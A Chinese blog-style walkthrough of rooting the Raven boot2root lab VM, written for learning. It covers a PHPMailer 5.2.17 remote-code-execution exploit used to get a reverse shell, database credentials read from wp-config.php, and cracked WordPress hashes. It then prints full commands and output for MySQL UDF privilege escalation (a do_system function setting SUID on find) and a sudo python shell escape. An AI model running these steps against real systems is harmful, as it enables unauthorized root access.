skyler实战渗透笔记(三)—Raven

skyler实战渗透笔记:

笔记是为了记录实战渗透学习过程,分享渗透过程思路与方法。

请注意:

对于所有笔记中复现的终端或服务器,都是自行搭建环境或已获授权渗透的。使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

0x00 前言

0x01 信息收集

0x02 渗透get shell

0x03 提权

0x04 总结

0x00 前言

今天的目标,是一台Debian的机器,里面有4个flag,并且两种getshell的方法,一起来看下。

0x01信息收集

首先还是先发现目标:

确定目标IP 192.168.245.143,然后端口扫一下看看:

0x02 渗透getshell

看起来开了22的ssh端口,80的web端口,以及一个特殊的rpcbind服务端口,那么下意识就觉得这个端口应该是有利用机会的,但是先从80访问看看:

是一个blog系统,到处点了点没什么发现:

目录扫一下试试:

 首先正常目录中每个页面查看下源代码,发现了第一个flag

http://192.168.245.143/service.html

 扫描发现了几个特殊的目录,挨个访问下:

http://192.168.245.143/manual/en/index.html

这里发现用的中间件是apache 2.4

http://192.168.245.143/vendor/

 这里是phpmail的目录,里面发现当前phpmailer版本是5.2.17

网上搜了下,phpmailer这个版本有个远程命令执行的漏洞

OK,expolit里搜下看看有没有攻击脚本:

 这边我先尝试了.sh的脚本,复制过来后执行报错,查了查报错内容,是因为这个从windows复制过来的脚本,换行符不一致,所以用dos2unix转换一下就可以执行了。

执行了脚本,也获取到一个远程的shell,但是命令无法回显。再尝试下python的脚本:

修改脚本中参数:

 编译执行报错,发现里面有中文字符,开头加上这一句话:# -*- coding: utf-8 -*

 

 再次执行,发现缺少库,pip install requests-toolbelt安装

重新编译执行

成功后,在kali本地开启端口监听8888,并访问http://192.168.245.143/back.php,获得shell并反弹bash

 获取到权限,发现是一个低权限用户,没事,先搜一波flag

find / -name "*flag*"

OK,成功拿到第二个flag,而且目录里还有个wordpress的子目录,wordpress是个一键建站的工具,那cd到子目录看看有什么信息:

查看配置文件,发现了数据库的用户名和密码:cat wp-config.php

OK,先看看数据库运行的权限:

 0x03 提权

 root运行的mysql。之前在学习sql注入的时候,注入成功后提权方式就提到了udf提权,正好拿来试试:

 查看mysql版本5.5.60

 用第二个,复制1518.c并编译生成动态链接库文件(DLL)

gcc -g -c 1518.c

gcc -g  -shared -Wl,-soname,1518.so -o 1518.so 1518.o –lc

 开启python服务器python -m SimpleHTTPServer 5555 ,并在目标机器中下载1518.so

OK,登录进mysql,开始udf提权:

mysql -uroot -pR@v3nSecurity

具体方法如下:

 1 mysql> show databases;
 2 show databases;
 3 +--------------------+
 4 | Database           |
 5 +--------------------+
 6 | information_schema |
 7 | mysql              |
 8 | performance_schema |
 9 | wordpress          |
10 +--------------------+
11 4 rows in set (0.22 sec)
12 
13 mysql> use wordpress
14 use wordpress
15 Reading table information for completion of table and column names
16 You can turn off this feature to get a quicker startup with -A
17 
18 Database changed
19 mysql> create table foo(line blob);
20 create table foo(line blob);
21 Query OK, 0 rows affected (0.43 sec)
22 
23 mysql> insert into foo values(load_file('/var/www/html/1518.so'));
24 insert into foo values(load_file('/var/www/html/1518.so'));
25 Query OK, 1 row affected (0.10 sec)
26 
27 mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
28 select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
29 Query OK, 1 row affected (0.06 sec)
30 
31 mysql> create function do_system returns integer soname '1518.so';
32 create function do_system returns integer soname '1518.so';
33 Query OK, 0 rows affected (0.10 sec)
34 
35 mysql> select * from mysql.func;
36 select * from mysql.func;
37 +-----------+-----+---------+----------+
38 | name      | ret | dl      | type     |
39 +-----------+-----+---------+----------+
40 | do_system |   2 | 1518.so | function |
41 +-----------+-----+---------+----------+
42 1 row in set (0.00 sec)
43 
44 mysql> select do_system('chmod u+s /usr/bin/find');
45 select do_system('chmod u+s /usr/bin/find');
46 +--------------------------------------+
47 | do_system('chmod u+s /usr/bin/find') |
48 +--------------------------------------+
49 |                                    0 |
50 +--------------------------------------+
51 1 row in set (0.02 sec)
52 mysql> quit
53 quit
54 Bye
55 www-data@Raven:/var/www/html$ touch foo
56 touch foo
57 www-data@Raven:/var/www/html$ find foo -exec 'whoami' ;
58 find foo -exec 'whoami' ;
59 root
60 www-data@Raven:/var/www/html$ find foo -exec '/bin/sh' ;
61 find foo -exec '/bin/sh' ;
62 # whoami
63 whoami
64 root
65 # pwd
66 pwd
67 /var/www/html
68 # cd /root
69 cd /root
70 # ls
71 ls
72 flag4.txt
73 # cat flag4.txt
74 cat flag4.txt
75 ______
76 
77 | ___ 
78 
79 | |_/ /__ ___   _____ _ __
80 
81 |    // _`   / / _  '_ 
82 
83 | |  (_| | V /  __/ | | |
84 
85 \_| \_\__,_| \_/ \___|_| |_|
86 
87 
88 flag4{715dea6c055b9fe3337544932f2941ce}
89 
90 CONGRATULATIONS on successfully rooting Raven!
91 
92 This is my first Boot2Root VM - I hope you enjoyed it.
93 
94 Hit me up on Twitter and let me know what you thought:
95 
96 @mccannwj / wjmccann.github.io

提权成功,另外在数据库中,还有一些意外发现:

 posts表中,发现了两个flag:

 发现还有个user表,查看:

发现两个用户和加密的密码,尝试md5解密:

michael | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0

steven | $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/

 

第一个没解出来,第二个:

 

 OK,解开了,尝试登录下看看:

ssh steven@192.168.8.127

进来了,查看用户权限

 

发现可以运行python,那么直接python提权:

sudo python -c 'import pty; pty.spawn("/bin/bash")'

 拿下!

 0x04 总结

UDF提权:

将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的libplugin文件夹下)

从udf文件中引入自定义函数(user defined function)

执行自定义函数

dumpfile通常用于读取二进制文件,不会造成损坏

create function do_system是我们添加的新的函数,用于执行系统命令

chmod u+s 表示给某个程序的所有者以suid权限,可以像root用户一样操作,也就是说给find命令最高权限

find / -exec ‘/bin/sh’ ;最终提权,赋予根目录下最高权限1
 

原文地址:https://www.cnblogs.com/Shepherdzhao/p/15240711.html